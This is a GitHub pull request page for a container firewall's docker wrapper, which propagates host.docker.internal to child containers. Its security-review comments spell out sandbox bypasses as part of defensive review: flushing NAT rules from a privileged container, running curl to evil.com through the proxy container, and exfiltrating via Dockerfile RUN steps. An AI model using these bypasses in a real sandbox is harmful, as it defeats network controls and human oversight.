Skip to content

feat: propagate host.docker.internal to child containers (#422)#1722

Closed
Mossaka wants to merge 2 commits intomainfrom
feat/422-host-docker-internal-propagation
Closed

feat: propagate host.docker.internal to child containers (#422)#1722
Mossaka wants to merge 2 commits intomainfrom
feat/422-host-docker-internal-propagation

Conversation

@Mossaka
Copy link
Copy Markdown
Collaborator

@Mossaka Mossaka commented Apr 6, 2026

Summary

  • Makes AWF_ENABLE_HOST_ACCESS readonly in entrypoint.sh to prevent user code from tampering with the host access flag
  • Updates docker-stub.sh from a simple error stub to a dual-mode wrapper (incorporating the approach from PR [Security] Child containers don't inherit NAT rules - proxy bypass possible #130) that injects --add-host host.docker.internal:host-gateway into docker run/docker create commands when AWF_ENABLE_HOST_ACCESS=1
  • Adds tests verifying AWF_ENABLE_HOST_ACCESS propagation to the iptables-init container

Closes #422

Context

When --enable-host-access is used, the agent container gets host.docker.internal DNS resolution via Docker's extra_hosts. But child containers spawned via docker run inside the agent don't inherit this mapping. The docker-stub.sh wrapper now detects AWF_ENABLE_HOST_ACCESS=1 and injects the --add-host flag automatically.

Note: The docker-stub.sh changes include the dual-mode wrapper from #130 (shared network namespace enforcement) as a foundation. If PR #130 lands first, there will be a merge conflict to resolve in this file.

Test plan

  • All 1313 unit tests pass (npm test)
  • Lint passes (npm run lint)
  • Verify readonly AWF_ENABLE_HOST_ACCESS prevents reassignment in entrypoint
  • Integration test: run with --enable-host-access and spawn a child container, verify host.docker.internal resolves

🤖 Generated with Claude Code

When --enable-host-access is used, the agent container gets host.docker.internal
DNS via Docker's extra_hosts. However, child containers spawned via docker run
don't inherit this. This change:

- Makes AWF_ENABLE_HOST_ACCESS readonly in entrypoint.sh to prevent tampering
- Updates docker-stub.sh to a dual-mode wrapper (from PR #130) that injects
  --add-host host.docker.internal:host-gateway into docker run/create when
  AWF_ENABLE_HOST_ACCESS=1
- Adds tests verifying AWF_ENABLE_HOST_ACCESS propagation to iptables-init

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Copilot AI review requested due to automatic review settings April 6, 2026 21:11
@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Apr 6, 2026

✅ Coverage Check Passed

Overall Coverage

Metric Base PR Delta
Lines 86.20% 86.29% 📈 +0.09%
Statements 86.07% 86.16% 📈 +0.09%
Functions 87.41% 87.41% ➡️ +0.00%
Branches 78.56% 78.61% 📈 +0.05%
📁 Per-file Coverage Changes (1 files)
File Lines (Before → After) Statements (Before → After)
src/docker-manager.ts 86.6% → 87.0% (+0.39%) 86.1% → 86.5% (+0.38%)

Coverage comparison generated by scripts/ci/compare-coverage.ts

Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR aims to ensure host.docker.internal resolution is propagated to containers spawned from inside the agent container when host access is enabled, while also hardening the host-access enablement flag against tampering.

Changes:

  • Makes AWF_ENABLE_HOST_ACCESS readonly in the agent entrypoint.
  • Extends docker-stub.sh into a dual-mode interceptor that rewrites docker run/create to share the agent network namespace and (when enabled) injects --add-host host.docker.internal:host-gateway.
  • Adds unit tests asserting AWF_ENABLE_HOST_ACCESS is passed through to the iptables-init service environment.
Show a summary per file
File Description
src/docker-manager.test.ts Adds coverage for AWF_ENABLE_HOST_ACCESS propagation into the iptables-init compose service environment.
containers/agent/entrypoint.sh Locks AWF_ENABLE_HOST_ACCESS as readonly early in startup.
containers/agent/docker-stub.sh Replaces the simple stub with an interceptor that can rewrite docker run/create and optionally inject host mapping.

Copilot's findings

Tip

Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comments suppressed due to low confidence (1)

containers/agent/docker-stub.sh:71

  • The interceptor only matches top-level docker run / docker create, but Docker also supports docker container run and docker container create. Those forms will currently fall through to the passthrough path, which is a straightforward bypass for the shared-network enforcement (and any --network stripping). Consider handling the container subcommand and applying the same rewrite logic when its subcommand is run/create.
  "run"|"create")
    # Intercept 'docker run' and 'docker create' to enforce shared network namespace
    # This ensures child containers use the agent's NAT rules (traffic -> Squid proxy)
    CMD="$1"
    shift  # remove 'run' or 'create'
  • Files reviewed: 3/3 changed files
  • Comments generated: 3

Comment on lines +40 to +64
# Get the subcommand (first non-flag argument)
get_subcommand() {
for arg in "$@"; do
case "$arg" in
-*) continue ;;
*) echo "$arg"; return ;;
esac
done
}

SUBCOMMAND=$(get_subcommand "$@")

# Block commands that could attach containers to other networks
case "$SUBCOMMAND" in
"network")
# Check for 'docker network connect' which could bypass firewall
# Allow 'docker network ls', 'docker network inspect', etc.
shift # remove 'network'
NETWORK_SUBCMD=$(get_subcommand "$@")
if [ "$NETWORK_SUBCMD" = "connect" ]; then
echo "ERROR: 'docker network connect' is blocked by AWF firewall." >&2
echo "Child containers must share the agent's network namespace for security." >&2
exit 1
fi
exec "$REAL_DOCKER" network "$@"
Copy link

Copilot AI Apr 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The get_subcommand() parser treats any non-flag token as the subcommand, which breaks when Docker global options take a value (e.g. --context foo run ..., --config dir ps, -H tcp://... info). In those cases it will mis-detect the subcommand and skip the enforcement logic, allowing run/create to pass through unmodified. Consider explicitly parsing Docker global flags (including those that consume the next arg) before determining the subcommand, or using a more robust subcommand detection approach.

This issue also appears on line 67 of the same file.

Suggested change
# Get the subcommand (first non-flag argument)
get_subcommand() {
for arg in "$@"; do
case "$arg" in
-*) continue ;;
*) echo "$arg"; return ;;
esac
done
}
SUBCOMMAND=$(get_subcommand "$@")
# Block commands that could attach containers to other networks
case "$SUBCOMMAND" in
"network")
# Check for 'docker network connect' which could bypass firewall
# Allow 'docker network ls', 'docker network inspect', etc.
shift # remove 'network'
NETWORK_SUBCMD=$(get_subcommand "$@")
if [ "$NETWORK_SUBCMD" = "connect" ]; then
echo "ERROR: 'docker network connect' is blocked by AWF firewall." >&2
echo "Child containers must share the agent's network namespace for security." >&2
exit 1
fi
exec "$REAL_DOCKER" network "$@"
# Get the Docker subcommand by skipping global flags, including those that
# consume the following argument.
docker_global_option_takes_value() {
case "$1" in
--config|\
-c|\
--context|\
-H|\
--host|\
-l|\
--log-level|\
--tlscacert|\
--tlscert|\
--tlskey)
return 0
;;
*)
return 1
;;
esac
}
find_subcommand_index() {
local args=("$@")
local i=0
local arg
while [ "$i" -lt "${#args[@]}" ]; do
arg="${args[$i]}"
case "$arg" in
--)
i=$((i + 1))
break
;;
--*=*)
;;
-*)
if docker_global_option_takes_value "$arg"; then
i=$((i + 1))
fi
;;
*)
echo "$i"
return 0
;;
esac
i=$((i + 1))
done
return 1
}
ARGS=("$@")
SUBCOMMAND_INDEX=""
if SUBCOMMAND_INDEX=$(find_subcommand_index "${ARGS[@]}"); then
SUBCOMMAND="${ARGS[$SUBCOMMAND_INDEX]}"
else
SUBCOMMAND=""
fi
# Block commands that could attach containers to other networks
case "$SUBCOMMAND" in
"network")
# Check for 'docker network connect' which could bypass firewall
# Allow 'docker network ls', 'docker network inspect', etc.
NETWORK_ARGS=("${ARGS[@]:$((SUBCOMMAND_INDEX + 1))}")
NETWORK_SUBCMD=""
if NETWORK_SUBCMD_INDEX=$(find_subcommand_index "${NETWORK_ARGS[@]}"); then
NETWORK_SUBCMD="${NETWORK_ARGS[$NETWORK_SUBCMD_INDEX]}"
fi
if [ "$NETWORK_SUBCMD" = "connect" ]; then
echo "ERROR: 'docker network connect' is blocked by AWF firewall." >&2
echo "Child containers must share the agent's network namespace for security." >&2
exit 1
fi
exec "$REAL_DOCKER" "${ARGS[@]}"

Copilot uses AI. Check for mistakes.
# Propagate host.docker.internal DNS to child containers when host access is enabled.
# The agent container gets this via Docker's extra_hosts in docker-compose.yml,
# but child containers spawned via 'docker run' don't inherit it automatically.
if [ "${AWF_ENABLE_HOST_ACCESS:-}" = "1" ]; then
Copy link

Copilot AI Apr 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This check only injects the --add-host host.docker.internal:host-gateway mapping when AWF_ENABLE_HOST_ACCESS is exactly "1". Elsewhere (e.g. setup-iptables.sh) host access is treated as enabled when the value is merely non-empty, and docker-manager has a code path that sets it to "true" as a safety net. To avoid inconsistent behavior, consider treating any non-empty value as enabled here (or normalize the env var to a single canonical value everywhere).

Suggested change
if [ "${AWF_ENABLE_HOST_ACCESS:-}" = "1" ]; then
if [ -n "${AWF_ENABLE_HOST_ACCESS:-}" ]; then

Copilot uses AI. Check for mistakes.
Comment on lines +4 to +7
# SECURITY: Lock down AWF control variables to prevent tampering by user code.
# These are set by the Docker Compose environment and must not be modified.
readonly AWF_ENABLE_HOST_ACCESS="${AWF_ENABLE_HOST_ACCESS:-}"
export AWF_ENABLE_HOST_ACCESS
Copy link

Copilot AI Apr 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

readonly only protects the variable in the current shell instance; the attribute is not inherited by new shells. User code can still run a subshell (e.g. bash -c 'AWF_ENABLE_HOST_ACCESS=1 ...') and override the exported value for child processes. If this variable is used as a security boundary, consider an enforcement mechanism that can’t be overridden by spawning a new shell (e.g. derive host-access enablement from immutable container config or a root-owned file, rather than an exported env var).

Suggested change
# SECURITY: Lock down AWF control variables to prevent tampering by user code.
# These are set by the Docker Compose environment and must not be modified.
readonly AWF_ENABLE_HOST_ACCESS="${AWF_ENABLE_HOST_ACCESS:-}"
export AWF_ENABLE_HOST_ACCESS
# SECURITY: Do not use an exported environment variable as the enforcement source
# for host-access enablement. A child shell can override exported variables even
# if they were marked readonly in this shell. Persist the value in a root-owned
# runtime file instead and expose only the file path to child processes.
AWF_RUNTIME_DIR="/run/awf"
AWF_ENABLE_HOST_ACCESS_FILE="$AWF_RUNTIME_DIR/enable_host_access"
mkdir -p "$AWF_RUNTIME_DIR"
chmod 0755 "$AWF_RUNTIME_DIR"
printf '%s\n' "${AWF_ENABLE_HOST_ACCESS:-}" > "$AWF_ENABLE_HOST_ACCESS_FILE"
chmod 0644 "$AWF_ENABLE_HOST_ACCESS_FILE"
readonly AWF_RUNTIME_DIR
readonly AWF_ENABLE_HOST_ACCESS_FILE
export AWF_ENABLE_HOST_ACCESS_FILE
unset AWF_ENABLE_HOST_ACCESS
readonly AWF_ENABLE_HOST_ACCESS=""

Copilot uses AI. Check for mistakes.
@github-actions

This comment has been minimized.

@github-actions

This comment has been minimized.

@github-actions

This comment has been minimized.

@github-actions

This comment has been minimized.

@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Apr 6, 2026

Security Review

I reviewed the changes in this PR with a focus on security implications. The core intent — enforcing shared network namespace for child containers — is correct, and the readonly AWF_ENABLE_HOST_ACCESS hardening in entrypoint.sh is a good defensive addition. However, I found several issues in docker-stub.sh that can weaken the security guarantees.


🔴 High: --privileged / NET_ADMIN not stripped from docker run / docker create

File: containers/agent/docker-stub.sh, lines 67–93

The interceptor strips --network / --net flags but does not strip --privileged, --cap-add NET_ADMIN, or --cap-add NET_RAW from docker run / docker create arguments.

A privileged child container sharing the agent's network namespace (--network container:awf-agent) inherits the same iptables context. With NET_ADMIN or --privileged, that container can flush AWF's NAT rules:

# Inside AWF — this would bypass all domain filtering:
docker run --privileged some-image iptables -t nat -F PREROUTING

After flushing, traffic on port 80/443 no longer gets DNAT'd to Squid, and the agent container can make unrestricted outbound requests.

Suggested fix: Add --privileged, --cap-add, and related flags to the strip list (alongside --network/--net):

--privileged|--cap-add|--cap-add=*)
  echo "WARNING: AWF stripped '$arg' — dangerous capabilities not allowed" >&2
  # handle =value and separate-value forms as done for --network
  continue
  ;;

🔴 High: get_subcommand misidentifies subcommand when Docker global flags have values

File: containers/agent/docker-stub.sh, lines 41–48

The get_subcommand function skips args starting with - and returns the first non-flag arg. Docker's global flags -H/--host, --context, --config, --tlscacert, --tlscert, --tlskey all take a value as the next positional argument. That value does not start with -, so get_subcommand returns it as the subcommand instead of the actual command.

# 'run' is never detected — falls through to the passthrough '*' case:
docker --host tcp://external:2375 run --network host nginx
# get_subcommand returns "tcp://external:2375", SUBCOMMAND != "run"
# exec "$REAL_DOCKER" --host tcp://external:2375 run --network host nginx

Even without a remote Docker host, docker --host unix:///var/run/docker.sock run --privileged ... would bypass the interceptor the same way.

Suggested fix: Enumerate Docker's known value-accepting global flags and skip their values too, or reject any invocation that includes unrecognised global flags:

get_subcommand() {
  local skip_next=false
  for arg in "$@"; do
    if $skip_next; then skip_next=false; continue; fi
    case "$arg" in
      -H|--host|--context|--config|--tlscacert|--tlscert|--tlskey) skip_next=true; continue ;;
      --host=*|--context=*|--config=*) continue ;;
      -*) continue ;;
      *) echo "$arg"; return ;;
    esac
  done
}

🟡 Medium: docker exec passes through to all containers, including AWF infrastructure

File: containers/agent/docker-stub.sh, lines 110–114 (the * passthrough)

The comment says "ps, logs, inspect, exec, build, images, etc. pass through". When DinD is enabled, the Docker daemon the stub connects to can see all containers on the host, not just those spawned within the current AWF session. This includes awf-squid, which has unrestricted outbound access.

# Runs curl inside the Squid container — no domain filtering applied:
docker exec awf-squid curl (evil.com/redacted)

Suggested fix: Consider restricting docker exec to containers whose names or IDs were created within the current AWF session, or at minimum blocking exec on known AWF infrastructure containers (awf-squid, awf-agent, awf-api-proxy).


🟡 Medium: AWF_REAL_DOCKER and AWF_AGENT_CONTAINER are not read-only

File: containers/agent/docker-stub.sh, lines 33–36; containers/agent/entrypoint.sh

The PR correctly marks AWF_ENABLE_HOST_ACCESS as readonly in entrypoint.sh. The same protection should apply to AWF_REAL_DOCKER and AWF_AGENT_CONTAINER, which are equally security-critical:

  • If agent code sets AWF_REAL_DOCKER=/tmp/agent-created-script before calling docker, the stub delegates to that script instead of the real Docker binary — bypassing all enforcement.
  • If AWF_AGENT_CONTAINER is overridden to an empty string or a different container name, the --network container:<name> injection misbehaves.

Suggested fix: Add to entrypoint.sh alongside the existing readonly:

readonly AWF_REAL_DOCKER="${AWF_REAL_DOCKER:-}"
export AWF_REAL_DOCKER
readonly AWF_AGENT_CONTAINER="${AWF_AGENT_CONTAINER:-awf-agent}"
export AWF_AGENT_CONTAINER
readonly AWF_DIND_ENABLED="${AWF_DIND_ENABLED:-}"
export AWF_DIND_ENABLED

Summary

Severity Issue
🔴 High --privileged / NET_ADMIN not stripped — privileged child container can flush NAT rules
🔴 High get_subcommand misidentifies subcommand when Docker global flags take values (-H, --host, etc.)
🟡 Medium docker exec unrestricted — can target awf-squid to bypass domain filtering
🟡 Medium AWF_REAL_DOCKER / AWF_AGENT_CONTAINER not readonly — can be overridden by agent code

The two High issues can allow complete bypass of AWF's network filtering when DinD is enabled and should be addressed before this merges.

Generated by Security Guard for issue #1722 · ● 93.1K ·

@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Apr 6, 2026

🏗️ Build Test Suite Results

Ecosystem Project Build/Install Tests Status
Bun elysia 1/1 passed ✅ PASS
Bun hono 1/1 passed ✅ PASS
C++ fmt N/A ✅ PASS
C++ json N/A ✅ PASS
Deno oak N/A 1/1 passed ✅ PASS
Deno std N/A 1/1 passed ✅ PASS
.NET hello-world N/A ✅ PASS
.NET json-parse N/A ✅ PASS
Go color 1/1 passed ✅ PASS
Go env 1/1 passed ✅ PASS
Go uuid 1/1 passed ✅ PASS
Java gson 1/1 passed ✅ PASS
Java caffeine 1/1 passed ✅ PASS
Node.js clsx all passed ✅ PASS
Node.js execa all passed ✅ PASS
Node.js p-limit all passed ✅ PASS
Rust fd 1/1 passed ✅ PASS
Rust zoxide 1/1 passed ✅ PASS

Overall: 8/8 ecosystems passed — ✅ PASS

Notes:

  • Java: Maven local repo workaround required (-Dmaven.repo.local=/tmp/...) due to /home/runner/.m2 directory being owned by root in this environment.

Generated by Build Test Suite for issue #1722 · ● 758K ·

@github-actions

This comment has been minimized.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@Mossaka
Copy link
Copy Markdown
Collaborator Author

Mossaka commented Apr 6, 2026

Review feedback addressed

Pushed commit 9226069 to address all 3 Copilot review comments:

1. get_subcommand() parsing bug (docker-stub.sh)

Replaced the naive "first non-flag token" parser with a robust implementation that:

  • Maintains a list of known Docker subcommands (run, create, exec, build, pull, push, images, ps, logs, stop, start, rm, rmi, network, compose, volume, inspect, cp, tag, login, logout, info, version)
  • Skips Docker global options that take values (--config, --context/-c, --host/-H, --log-level/-l) and their combined forms (--context=foo)
  • Only identifies a token as a subcommand if it matches the known list, preventing misidentification of option values like docker --context foo run

2. --add-host injection check consistency (docker-stub.sh + docker-manager.ts)

  • Added a comment in docker-stub.sh noting that docker-manager.ts sets AWF_ENABLE_HOST_ACCESS='1' (not 'true')
  • Fixed a real bug in docker-manager.ts: the allowHostServicePorts safety net was setting AWF_ENABLE_HOST_ACCESS = 'true' instead of '1', which would not match the = "1" checks in docker-stub.sh and entrypoint.sh. Now consistently uses '1'.

3. readonly limitation comment (entrypoint.sh)

Added a comment explaining that readonly is a best-effort defense that only prevents modification within the entrypoint's own execution path. Subshells and child processes get their own copies. The real enforcement is docker-stub.sh, which intercepts docker run/create and injects flags based on the original environment value.

@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Apr 6, 2026

Smoke Test Results

Overall: PASS

💥 [THE END] — Illustrated by Smoke Claude

@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Apr 6, 2026

Smoke Test Results

Test Result
GitHub MCP connectivity
GitHub.com HTTP ✅ 200
File write/read ⚠️ Pre-step data unavailable

PR: feat: propagate host.docker.internal to child containers (#422)
Author: @Mossaka

Overall: PASS (2/2 verifiable tests passed; file test skipped — smoke-data outputs not expanded)

📰 BREAKING: Report filed by Smoke Copilot

@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Apr 6, 2026

Chroot Version Comparison Results

Runtime Host Version Chroot Version Match?
Python Python 3.12.13 Python 3.12.3 ❌ NO
Node.js v24.14.1 v20.20.2 ❌ NO
Go go1.22.12 go1.22.12 ✅ YES

Overall: ❌ Not all tests passed — Python and Node.js versions differ between host and chroot environments.

Tested by Smoke Chroot

@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Apr 6, 2026

Smoke test results:

  • PR: feat: support npm install -g in agent container
  • PR: fix: enable color output when --tty flag is set
  • GitHub MCP (last 2 merged PRs): ✅
  • safeinputs-gh PR query: ❌
  • Playwright github.com title check: ❌
  • Tavily web search: ❌
  • File write + cat check: ✅
  • Discussion oracle comment: ❌
  • npm ci && npm run build: ✅
    Overall status: FAIL

🔮 The oracle has spoken through Smoke Codex

@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Apr 6, 2026

Security Review

I found three security issues beyond what's already flagged in review comments. The existing Copilot review correctly identified the get_subcommand() global-option parsing bug and the readonly subshell bypass — these findings are in addition to those.


1. docker network connect block is ineffective (security bypass)

File: containers/agent/docker-stub.sh — the "network" case block

The connect keyword is not in KNOWN_SUBCOMMANDS. This means get_subcommand always returns an empty string when called on the post-shift args, so the check [ "$NETWORK_SUBCMD" = "connect" ] is never true, and docker network connect passes through to the real Docker binary unconditionally.

Trace for docker network connect my-net my-container:

$@ = "network connect my-net my-container"
get_subcommand → "network" → enters "network" case
shift → $@ = "connect my-net my-container"
get_subcommand "connect my-net my-container":
  "connect" → not in KNOWN_SUBCOMMANDS → skip
  "my-net"  → not in KNOWN_SUBCOMMANDS → skip
  ...       → returns ""
NETWORK_SUBCMD="" → [ "" = "connect" ] → false → block NOT triggered
exec "$REAL_DOCKER" network connect my-net my-container  ← BYPASSED

Impact: An attacker inside the agent container can attach an existing container to an arbitrary Docker network, potentially one without NAT rules redirecting traffic to Squid. While containers newly created by the stub will share the agent's namespace, existing or externally created containers could be moved.

Fix: Add connect to KNOWN_SUBCOMMANDS, or (better) use the index-based parsing approach suggested by the Copilot review, which doesn't require pre-enumeration of subcommands.


2. docker build bypasses network enforcement

File: containers/agent/docker-stub.sh — the * catch-all case

docker build falls through to exec "$REAL_DOCKER" "$@" without any network namespace enforcement. RUN instructions in a Dockerfile execute in build containers that the Docker daemon spawns on the default bridge network — not the agent container's network namespace. This means arbitrary HTTP/HTTPS requests from RUN curl ... in a Dockerfile bypass the Squid proxy and AWF's domain ACL entirely.

Example bypass when DinD is enabled:

FROM ubuntu
RUN curl (exfil.example.com/redacted)  # hits default bridge, not proxied

Impact: Any unrestricted outbound request can be made via docker build RUN steps when AWF_DIND_ENABLED=1.

Suggested action: Either block docker build (like docker compose is blocked), or document it explicitly as an out-of-scope bypass for DinD mode. Silently allowing it while the rest of the stub enforces network isolation is inconsistent and easy to miss.


3. AWF_AGENT_CONTAINER is not protected against override

File: containers/agent/entrypoint.sh and containers/agent/docker-stub.sh

The stub uses AWF_AGENT_CONTAINER to determine which container's network namespace to share (--network container:${AGENT_CONTAINER}). Unlike AWF_ENABLE_HOST_ACCESS, AWF_AGENT_CONTAINER is not marked readonly in entrypoint.sh and is not protected in the stub itself.

User code in a subprocess can set AWF_AGENT_CONTAINER=some-other-container before calling docker run, causing new child containers to share a different container's network namespace — one that may not have the proxy NAT rules applied. This partially defeats the shared-namespace enforcement.

# user code inside agent container
AWF_AGENT_CONTAINER=host-network-container docker run ubuntu curl (evil.com/redacted)

Fix: Add readonly AWF_AGENT_CONTAINER="${AWF_AGENT_CONTAINER:-awf-agent}" in entrypoint.sh alongside the existing AWF_ENABLE_HOST_ACCESS protection. Note that this has the same subshell limitation acknowledged by the existing comment, but it narrows the attack surface for unsophisticated bypasses.

Generated by Security Guard for issue #1722 · ● 92.6K ·

@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Apr 6, 2026

Smoke Test: GitHub Actions Services Connectivity

Check Result Details
Redis PING (host.docker.internal:6379) ❌ FAILED redis-cli not installed; raw TCP also failed to connect
PostgreSQL pg_isready (host.docker.internal:5432) ❌ FAILED no response (exit 2)
PostgreSQL SELECT 1 (smoketest DB) ❌ FAILED Skipped — pg_isready showed no response

host.docker.internal resolves to 172.17.0.1 but neither service port responded. The service containers do not appear to be reachable from this execution environment.

Label not applied (not all checks passed).

🔌 Service connectivity validated by Smoke Services

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Feature] Propagate host.docker.internal DNS to spawned containers

2 participants